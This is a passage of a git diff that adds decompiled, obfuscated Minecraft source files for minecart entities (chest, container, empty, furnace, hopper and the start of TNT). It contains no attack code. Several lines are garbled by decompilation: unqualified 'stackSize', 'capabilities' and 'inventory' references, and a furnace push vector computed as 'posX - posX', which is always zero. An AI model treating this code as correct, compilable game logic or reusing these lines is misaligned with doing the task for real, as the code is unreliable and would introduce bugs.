+                motionX *= 0.20000000298023224D;
+                motionZ *= 0.20000000298023224D;
+                entityIn.addVelocity(var18 + var2, 0.0D, var20 + var4);
+              }
+            }
+            else
+            {
+              addVelocity(-var2, 0.0D, -var4);
+              entityIn.addVelocity(var2 / 4.0D, 0.0D, var4 / 4.0D);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  public void func_180426_a(double p_180426_1_, double p_180426_3_, double p_180426_5_, float p_180426_7_, float p_180426_8_, int p_180426_9_, boolean p_180426_10_)
+  {
+    minecartX = p_180426_1_;
+    minecartY = p_180426_3_;
+    minecartZ = p_180426_5_;
+    minecartYaw = p_180426_7_;
+    minecartPitch = p_180426_8_;
+    turnProgress = (p_180426_9_ + 2);
+    motionX = velocityX;
+    motionY = velocityY;
+    motionZ = velocityZ;
+  }
+  
+
+
+
+  public void setVelocity(double x, double y, double z)
+  {
+    velocityX = (this.motionX = x);
+    velocityY = (this.motionY = y);
+    velocityZ = (this.motionZ = z);
+  }
+  
+
+
+
+
+  public void setDamage(float p_70492_1_)
+  {
+    dataWatcher.updateObject(19, Float.valueOf(p_70492_1_));
+  }
+  
+
+
+
+
+  public float getDamage()
+  {
+    return dataWatcher.getWatchableObjectFloat(19);
+  }
+  
+
+
+
+  public void setRollingAmplitude(int p_70497_1_)
+  {
+    dataWatcher.updateObject(17, Integer.valueOf(p_70497_1_));
+  }
+  
+
+
+
+  public int getRollingAmplitude()
+  {
+    return dataWatcher.getWatchableObjectInt(17);
+  }
+  
+
+
+
+  public void setRollingDirection(int p_70494_1_)
+  {
+    dataWatcher.updateObject(18, Integer.valueOf(p_70494_1_));
+  }
+  
+
+
+
+  public int getRollingDirection()
+  {
+    return dataWatcher.getWatchableObjectInt(18);
+  }
+  
+  public abstract EnumMinecartType func_180456_s();
+  
+  public IBlockState func_174897_t()
+  {
+    return !hasDisplayTile() ? func_180457_u() : Block.getStateById(getDataWatcher().getWatchableObjectInt(20));
+  }
+  
+  public IBlockState func_180457_u()
+  {
+    return Blocks.air.getDefaultState();
+  }
+  
+  public int getDisplayTileOffset()
+  {
+    return !hasDisplayTile() ? getDefaultDisplayTileOffset() : getDataWatcher().getWatchableObjectInt(21);
+  }
+  
+  public int getDefaultDisplayTileOffset()
+  {
+    return 6;
+  }
+  
+  public void func_174899_a(IBlockState p_174899_1_)
+  {
+    getDataWatcher().updateObject(20, Integer.valueOf(Block.getStateId(p_174899_1_)));
+    setHasDisplayTile(true);
+  }
+  
+  public void setDisplayTileOffset(int p_94086_1_)
+  {
+    getDataWatcher().updateObject(21, Integer.valueOf(p_94086_1_));
+    setHasDisplayTile(true);
+  }
+  
+  public boolean hasDisplayTile()
+  {
+    return getDataWatcher().getWatchableObjectByte(22) == 1;
+  }
+  
+  public void setHasDisplayTile(boolean p_94096_1_)
+  {
+    getDataWatcher().updateObject(22, Byte.valueOf((byte)(p_94096_1_ ? 1 : 0)));
+  }
+  
+
+
+
+  public void setCustomNameTag(String p_96094_1_)
+  {
+    entityName = p_96094_1_;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return entityName != null ? entityName : super.getName();
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return entityName != null;
+  }
+  
+  public String getCustomNameTag()
+  {
+    return entityName;
+  }
+  
+  public net.minecraft.util.IChatComponent getDisplayName()
+  {
+    if (hasCustomName())
+    {
+      ChatComponentText var2 = new ChatComponentText(entityName);
+      var2.getChatStyle().setChatHoverEvent(func_174823_aP());
+      var2.getChatStyle().setInsertion(getUniqueID().toString());
+      return var2;
+    }
+    
+
+    ChatComponentTranslation var1 = new ChatComponentTranslation(getName(), new Object[0]);
+    var1.getChatStyle().setChatHoverEvent(func_174823_aP());
+    var1.getChatStyle().setInsertion(getUniqueID().toString());
+    return var1;
+  }
+  
+
+  public static enum EnumMinecartType
+  {
+    RIDEABLE("RIDEABLE", 0, 0, "MinecartRideable"), 
+    CHEST("CHEST", 1, 1, "MinecartChest"), 
+    FURNACE("FURNACE", 2, 2, "MinecartFurnace"), 
+    TNT("TNT", 3, 3, "MinecartTNT"), 
+    SPAWNER("SPAWNER", 4, 4, "MinecartSpawner"), 
+    HOPPER("HOPPER", 5, 5, "MinecartHopper"), 
+    COMMAND_BLOCK("COMMAND_BLOCK", 6, 6, "MinecartCommandBlock");
+    
+    private static final Map field_180051_h;
+    private final int field_180052_i;
+    private final String field_180049_j;
+    private static final EnumMinecartType[] $VALUES;
+    private static final String __OBFID = "CL_00002226";
+    
+    private EnumMinecartType(String p_i45847_1_, int p_i45847_2_, int p_i45847_3_, String p_i45847_4_)
+    {
+      field_180052_i = p_i45847_3_;
+      field_180049_j = p_i45847_4_;
+    }
+    
+    public int func_180039_a()
+    {
+      return field_180052_i;
+    }
+    
+    public String func_180040_b()
+    {
+      return field_180049_j;
+    }
+    
+    public static EnumMinecartType func_180038_a(int p_180038_0_)
+    {
+      EnumMinecartType var1 = (EnumMinecartType)field_180051_h.get(Integer.valueOf(p_180038_0_));
+      return var1 == null ? RIDEABLE : var1;
+    }
+    
+    static
+    {
+      field_180051_h = Maps.newHashMap();
+      
+
+
+      $VALUES = new EnumMinecartType[] { RIDEABLE, CHEST, FURNACE, TNT, SPAWNER, HOPPER, COMMAND_BLOCK };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumMinecartType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumMinecartType var3 = var0[var2];
+        field_180051_h.put(Integer.valueOf(var3.func_180039_a()), var3);
+      }
+    }
+  }
+  
+
+  static final class SwitchEnumMinecartType
+  {
+    static final int[] field_180037_a;
+    static final int[] field_180036_b = new int[BlockRailBase.EnumRailDirection.values().length];
+    private static final String __OBFID = "CL_00002227";
+    
+    static
+    {
+      try
+      {
+        field_180036_b[BlockRailBase.EnumRailDirection.ASCENDING_EAST.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180036_b[BlockRailBase.EnumRailDirection.ASCENDING_WEST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180036_b[BlockRailBase.EnumRailDirection.ASCENDING_NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180036_b[BlockRailBase.EnumRailDirection.ASCENDING_SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      field_180037_a = new int[EntityMinecart.EnumMinecartType.values().length];
+      
+      try
+      {
+        field_180037_a[EntityMinecart.EnumMinecartType.CHEST.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_180037_a[EntityMinecart.EnumMinecartType.FURNACE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_180037_a[EntityMinecart.EnumMinecartType.TNT.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_180037_a[EntityMinecart.EnumMinecartType.SPAWNER.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_180037_a[EntityMinecart.EnumMinecartType.HOPPER.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        field_180037_a[EntityMinecart.EnumMinecartType.COMMAND_BLOCK.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+    }
+    
+    SwitchEnumMinecartType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityMinecartChest.java b/src/minecraft/net/minecraft/entity/item/EntityMinecartChest.java
new file mode 100644
index 0000000..296ea85
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityMinecartChest.java
@@ -0,0 +1,67 @@
+package net.minecraft.entity.item;
+
+import net.minecraft.block.BlockChest;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerChest;
+import net.minecraft.item.Item;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class EntityMinecartChest extends EntityMinecartContainer
+{
+  private static final String __OBFID = "CL_00001671";
+  
+  public EntityMinecartChest(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityMinecartChest(World worldIn, double p_i1715_2_, double p_i1715_4_, double p_i1715_6_)
+  {
+    super(worldIn, p_i1715_2_, p_i1715_4_, p_i1715_6_);
+  }
+  
+  public void killMinecart(DamageSource p_94095_1_)
+  {
+    super.killMinecart(p_94095_1_);
+    dropItemWithOffset(Item.getItemFromBlock(Blocks.chest), 1, 0.0F);
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return 27;
+  }
+  
+  public EntityMinecart.EnumMinecartType func_180456_s()
+  {
+    return EntityMinecart.EnumMinecartType.CHEST;
+  }
+  
+  public IBlockState func_180457_u()
+  {
+    return Blocks.chest.getDefaultState().withProperty(BlockChest.FACING_PROP, EnumFacing.NORTH);
+  }
+  
+  public int getDefaultDisplayTileOffset()
+  {
+    return 8;
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:chest";
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new ContainerChest(playerInventory, this, playerIn);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityMinecartContainer.java b/src/minecraft/net/minecraft/entity/item/EntityMinecartContainer.java
new file mode 100644
index 0000000..3672d36
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityMinecartContainer.java
@@ -0,0 +1,275 @@
+package net.minecraft.entity.item;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.InventoryHelper;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.DamageSource;
+import net.minecraft.world.ILockableContainer;
+import net.minecraft.world.LockCode;
+import net.minecraft.world.World;
+
+public abstract class EntityMinecartContainer extends EntityMinecart implements ILockableContainer
+{
+  private ItemStack[] minecartContainerItems = new ItemStack[36];
+  
+
+
+
+
+  private boolean dropContentsWhenDead = true;
+  private static final String __OBFID = "CL_00001674";
+  
+  public EntityMinecartContainer(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityMinecartContainer(World worldIn, double p_i1717_2_, double p_i1717_4_, double p_i1717_6_)
+  {
+    super(worldIn, p_i1717_2_, p_i1717_4_, p_i1717_6_);
+  }
+  
+  public void killMinecart(DamageSource p_94095_1_)
+  {
+    super.killMinecart(p_94095_1_);
+    InventoryHelper.func_180176_a(worldObj, this, this);
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return minecartContainerItems[slotIn];
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (minecartContainerItems[index] != null)
+    {
+
+
+      if (minecartContainerItems[index].stackSize <= count)
+      {
+        ItemStack var3 = minecartContainerItems[index];
+        minecartContainerItems[index] = null;
+        return var3;
+      }
+      
+
+      ItemStack var3 = minecartContainerItems[index].splitStack(count);
+      
+      if (minecartContainerItems[index].stackSize == 0)
+      {
+        minecartContainerItems[index] = null;
+      }
+      
+      return var3;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (minecartContainerItems[index] != null)
+    {
+      ItemStack var2 = minecartContainerItems[index];
+      minecartContainerItems[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    minecartContainerItems[index] = stack;
+    
+    if ((stack != null) && (stackSize > getInventoryStackLimit()))
+    {
+      stackSize = getInventoryStackLimit();
+    }
+  }
+  
+
+
+
+
+  public void markDirty() {}
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return !isDead;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return hasCustomName() ? getCustomNameTag() : "container.minecart";
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+  public void travelToDimension(int dimensionId)
+  {
+    dropContentsWhenDead = false;
+    super.travelToDimension(dimensionId);
+  }
+  
+
+
+
+  public void setDead()
+  {
+    if (dropContentsWhenDead)
+    {
+      InventoryHelper.func_180176_a(worldObj, this, this);
+    }
+    
+    super.setDead();
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < minecartContainerItems.length; var3++)
+    {
+      if (minecartContainerItems[var3] != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        var4.setByte("Slot", (byte)var3);
+        minecartContainerItems[var3].writeToNBT(var4);
+        var2.appendTag(var4);
+      }
+    }
+    
+    tagCompound.setTag("Items", var2);
+  }
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    NBTTagList var2 = tagCompund.getTagList("Items", 10);
+    minecartContainerItems = new ItemStack[getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      int var5 = var4.getByte("Slot") & 0xFF;
+      
+      if ((var5 >= 0) && (var5 < minecartContainerItems.length))
+      {
+        minecartContainerItems[var5] = ItemStack.loadItemStackFromNBT(var4);
+      }
+    }
+  }
+  
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    if (!worldObj.isRemote)
+    {
+      playerIn.displayGUIChest(this);
+    }
+    
+    return true;
+  }
+  
+  protected void applyDrag()
+  {
+    int var1 = 15 - Container.calcRedstoneFromInventory(this);
+    float var2 = 0.98F + var1 * 0.001F;
+    motionX *= var2;
+    motionY *= 0.0D;
+    motionZ *= var2;
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public boolean isLocked()
+  {
+    return false;
+  }
+  
+  public void setLockCode(LockCode code) {}
+  
+  public LockCode getLockCode()
+  {
+    return LockCode.EMPTY_CODE;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < minecartContainerItems.length; var1++)
+    {
+      minecartContainerItems[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityMinecartEmpty.java b/src/minecraft/net/minecraft/entity/item/EntityMinecartEmpty.java
new file mode 100644
index 0000000..871ed1c
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityMinecartEmpty.java
@@ -0,0 +1,71 @@
+package net.minecraft.entity.item;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.world.World;
+
+public class EntityMinecartEmpty extends EntityMinecart
+{
+  private static final String __OBFID = "CL_00001677";
+  
+  public EntityMinecartEmpty(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityMinecartEmpty(World worldIn, double p_i1723_2_, double p_i1723_4_, double p_i1723_6_)
+  {
+    super(worldIn, p_i1723_2_, p_i1723_4_, p_i1723_6_);
+  }
+  
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    if ((riddenByEntity != null) && ((riddenByEntity instanceof EntityPlayer)) && (riddenByEntity != playerIn))
+    {
+      return true;
+    }
+    if ((riddenByEntity != null) && (riddenByEntity != playerIn))
+    {
+      return false;
+    }
+    
+
+    if (!worldObj.isRemote)
+    {
+      playerIn.mountEntity(this);
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public void onActivatorRailPass(int p_96095_1_, int p_96095_2_, int p_96095_3_, boolean p_96095_4_)
+  {
+    if (p_96095_4_)
+    {
+      if (riddenByEntity != null)
+      {
+        riddenByEntity.mountEntity(null);
+      }
+      
+      if (getRollingAmplitude() == 0)
+      {
+        setRollingDirection(-getRollingDirection());
+        setRollingAmplitude(10);
+        setDamage(50.0F);
+        setBeenAttacked();
+      }
+    }
+  }
+  
+  public EntityMinecart.EnumMinecartType func_180456_s()
+  {
+    return EntityMinecart.EnumMinecartType.RIDEABLE;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityMinecartFurnace.java b/src/minecraft/net/minecraft/entity/item/EntityMinecartFurnace.java
new file mode 100644
index 0000000..9d6ac63
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityMinecartFurnace.java
@@ -0,0 +1,201 @@
+package net.minecraft.entity.item;
+
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityMinecartFurnace extends EntityMinecart
+{
+  private int fuel;
+  public double pushX;
+  public double pushZ;
+  private static final String __OBFID = "CL_00001675";
+  
+  public EntityMinecartFurnace(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityMinecartFurnace(World worldIn, double p_i1719_2_, double p_i1719_4_, double p_i1719_6_)
+  {
+    super(worldIn, p_i1719_2_, p_i1719_4_, p_i1719_6_);
+  }
+  
+  public EntityMinecart.EnumMinecartType func_180456_s()
+  {
+    return EntityMinecart.EnumMinecartType.FURNACE;
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, new Byte((byte)0));
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (fuel > 0)
+    {
+      fuel -= 1;
+    }
+    
+    if (fuel <= 0)
+    {
+      pushX = (this.pushZ = 0.0D);
+    }
+    
+    setMinecartPowered(fuel > 0);
+    
+    if ((isMinecartPowered()) && (rand.nextInt(4) == 0))
+    {
+      worldObj.spawnParticle(net.minecraft.util.EnumParticleTypes.SMOKE_LARGE, posX, posY + 0.8D, posZ, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+  }
+  
+  protected double func_174898_m()
+  {
+    return 0.2D;
+  }
+  
+  public void killMinecart(DamageSource p_94095_1_)
+  {
+    super.killMinecart(p_94095_1_);
+    
+    if (!p_94095_1_.isExplosion())
+    {
+      entityDropItem(new ItemStack(Blocks.furnace, 1), 0.0F);
+    }
+  }
+  
+  protected void func_180460_a(BlockPos p_180460_1_, IBlockState p_180460_2_)
+  {
+    super.func_180460_a(p_180460_1_, p_180460_2_);
+    double var3 = pushX * pushX + pushZ * pushZ;
+    
+    if ((var3 > 1.0E-4D) && (motionX * motionX + motionZ * motionZ > 0.001D))
+    {
+      var3 = MathHelper.sqrt_double(var3);
+      pushX /= var3;
+      pushZ /= var3;
+      
+      if (pushX * motionX + pushZ * motionZ < 0.0D)
+      {
+        pushX = 0.0D;
+        pushZ = 0.0D;
+      }
+      else
+      {
+        double var5 = var3 / func_174898_m();
+        pushX *= var5;
+        pushZ *= var5;
+      }
+    }
+  }
+  
+  protected void applyDrag()
+  {
+    double var1 = pushX * pushX + pushZ * pushZ;
+    
+    if (var1 > 1.0E-4D)
+    {
+      var1 = MathHelper.sqrt_double(var1);
+      pushX /= var1;
+      pushZ /= var1;
+      double var3 = 1.0D;
+      motionX *= 0.800000011920929D;
+      motionY *= 0.0D;
+      motionZ *= 0.800000011920929D;
+      motionX += pushX * var3;
+      motionZ += pushZ * var3;
+    }
+    else
+    {
+      motionX *= 0.9800000190734863D;
+      motionY *= 0.0D;
+      motionZ *= 0.9800000190734863D;
+    }
+    
+    super.applyDrag();
+  }
+  
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() == net.minecraft.init.Items.coal))
+    {
+      if (!capabilities.isCreativeMode) { if (--stackSize == 0)
+        {
+          inventory.setInventorySlotContents(inventory.currentItem, null);
+        }
+      }
+      fuel += 3600;
+    }
+    
+    pushX = (posX - posX);
+    pushZ = (posZ - posZ);
+    return true;
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setDouble("PushX", pushX);
+    tagCompound.setDouble("PushZ", pushZ);
+    tagCompound.setShort("Fuel", (short)fuel);
+  }
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    pushX = tagCompund.getDouble("PushX");
+    pushZ = tagCompund.getDouble("PushZ");
+    fuel = tagCompund.getShort("Fuel");
+  }
+  
+  protected boolean isMinecartPowered()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x1) != 0;
+  }
+  
+  protected void setMinecartPowered(boolean p_94107_1_)
+  {
+    if (p_94107_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(dataWatcher.getWatchableObjectByte(16) | 0x1)));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(dataWatcher.getWatchableObjectByte(16) & 0xFFFFFFFE)));
+    }
+  }
+  
+  public IBlockState func_180457_u()
+  {
+    return (isMinecartPowered() ? Blocks.lit_furnace : Blocks.furnace).getDefaultState().withProperty(net.minecraft.block.BlockFurnace.FACING, net.minecraft.util.EnumFacing.NORTH);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityMinecartHopper.java b/src/minecraft/net/minecraft/entity/item/EntityMinecartHopper.java
new file mode 100644
index 0000000..5caa250
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityMinecartHopper.java
@@ -0,0 +1,237 @@
+package net.minecraft.entity.item;
+
+import java.util.List;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.IEntitySelector;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerHopper;
+import net.minecraft.item.Item;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.IHopper;
+import net.minecraft.tileentity.TileEntityHopper;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.world.World;
+
+public class EntityMinecartHopper extends EntityMinecartContainer implements IHopper
+{
+  private boolean isBlocked = true;
+  private int transferTicker = -1;
+  private BlockPos field_174900_c;
+  private static final String __OBFID = "CL_00001676";
+  
+  public EntityMinecartHopper(World worldIn)
+  {
+    super(worldIn);
+    field_174900_c = BlockPos.ORIGIN;
+  }
+  
+  public EntityMinecartHopper(World worldIn, double p_i1721_2_, double p_i1721_4_, double p_i1721_6_)
+  {
+    super(worldIn, p_i1721_2_, p_i1721_4_, p_i1721_6_);
+    field_174900_c = BlockPos.ORIGIN;
+  }
+  
+  public EntityMinecart.EnumMinecartType func_180456_s()
+  {
+    return EntityMinecart.EnumMinecartType.HOPPER;
+  }
+  
+  public IBlockState func_180457_u()
+  {
+    return Blocks.hopper.getDefaultState();
+  }
+  
+  public int getDefaultDisplayTileOffset()
+  {
+    return 1;
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return 5;
+  }
+  
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    if (!worldObj.isRemote)
+    {
+      playerIn.displayGUIChest(this);
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public void onActivatorRailPass(int p_96095_1_, int p_96095_2_, int p_96095_3_, boolean p_96095_4_)
+  {
+    boolean var5 = !p_96095_4_;
+    
+    if (var5 != getBlocked())
+    {
+      setBlocked(var5);
+    }
+  }
+  
+
+
+
+  public boolean getBlocked()
+  {
+    return isBlocked;
+  }
+  
+
+
+
+  public void setBlocked(boolean p_96110_1_)
+  {
+    isBlocked = p_96110_1_;
+  }
+  
+
+
+
+  public World getWorld()
+  {
+    return worldObj;
+  }
+  
+
+
+
+  public double getXPos()
+  {
+    return posX;
+  }
+  
+
+
+
+  public double getYPos()
+  {
+    return posY;
+  }
+  
+
+
+
+  public double getZPos()
+  {
+    return posZ;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if ((!worldObj.isRemote) && (isEntityAlive()) && (getBlocked()))
+    {
+      BlockPos var1 = new BlockPos(this);
+      
+      if (var1.equals(field_174900_c))
+      {
+        transferTicker -= 1;
+      }
+      else
+      {
+        setTransferTicker(0);
+      }
+      
+      if (!canTransfer())
+      {
+        setTransferTicker(0);
+        
+        if (func_96112_aD())
+        {
+          setTransferTicker(4);
+          markDirty();
+        }
+      }
+    }
+  }
+  
+  public boolean func_96112_aD()
+  {
+    if (TileEntityHopper.func_145891_a(this))
+    {
+      return true;
+    }
+    
+
+    List var1 = worldObj.func_175647_a(EntityItem.class, getEntityBoundingBox().expand(0.25D, 0.0D, 0.25D), IEntitySelector.selectAnything);
+    
+    if (var1.size() > 0)
+    {
+      TileEntityHopper.func_145898_a(this, (EntityItem)var1.get(0));
+    }
+    
+    return false;
+  }
+  
+
+  public void killMinecart(DamageSource p_94095_1_)
+  {
+    super.killMinecart(p_94095_1_);
+    dropItemWithOffset(Item.getItemFromBlock(Blocks.hopper), 1, 0.0F);
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("TransferCooldown", transferTicker);
+  }
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    transferTicker = tagCompund.getInteger("TransferCooldown");
+  }
+  
+
+
+
+  public void setTransferTicker(int p_98042_1_)
+  {
+    transferTicker = p_98042_1_;
+  }
+  
+
+
+
+  public boolean canTransfer()
+  {
+    return transferTicker > 0;
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:hopper";
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new ContainerHopper(playerInventory, this, playerIn);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityMinecartTNT.java b/src/minecraft/net/minecraft/entity/item/EntityMinecartTNT.java
new file mode 100644
index 0000000..f1a0c22
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityMinecartTNT.java
@@ -0,0 +1,223 @@
+package net.minecraft.entity.item;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockRailBase;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.Explosion;
+import net.minecraft.world.World;
+
+public class EntityMinecartTNT extends EntityMinecart
+{
+  private int minecartTNTFuse = -1;
+  private static final String __OBFID = "CL_00001680";
+  
+  public EntityMinecartTNT(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityMinecartTNT(World worldIn, double p_i1728_2_, double p_i1728_4_, double p_i1728_6_)
+  {
+    super(worldIn, p_i1728_2_, p_i1728_4_, p_i1728_6_);
+  }
+  
+  public EntityMinecart.EnumMinecartType func_180456_s()
+  {
+    return EntityMinecart.EnumMinecartType.TNT;
+  }
+  
+  public IBlockState func_180457_u()
+  {
+    return Blocks.tnt.getDefaultState();
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (minecartTNTFuse > 0)
+    {
+      minecartTNTFuse -= 1;
+      worldObj.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, posX, posY + 0.5D, posZ, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+    else if (minecartTNTFuse == 0)
+    {
+      explodeCart(motionX * motionX + motionZ * motionZ);
+    }
+    
+    if (isCollidedHorizontally)
+    {
+      double var1 = motionX * motionX + motionZ * motionZ;
+      
+      if (var1 >= 0.009999999776482582D)
+      {
+        explodeCart(var1);
+      }
+    }
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    net.minecraft.entity.Entity var3 = source.getSourceOfDamage();
+    
+    if ((var3 instanceof EntityArrow))
+    {
+      EntityArrow var4 = (EntityArrow)var3;
+      
+      if (var4.isBurning())
+      {
+        explodeCart(motionX * motionX + motionY * motionY + motionZ * motionZ);
+      }
+    }
+    
+    return super.attackEntityFrom(source, amount);
+  }
+  
+  public void killMinecart(DamageSource p_94095_1_)
+  {
+    super.killMinecart(p_94095_1_);
+    double var2 = motionX * motionX + motionZ * motionZ;
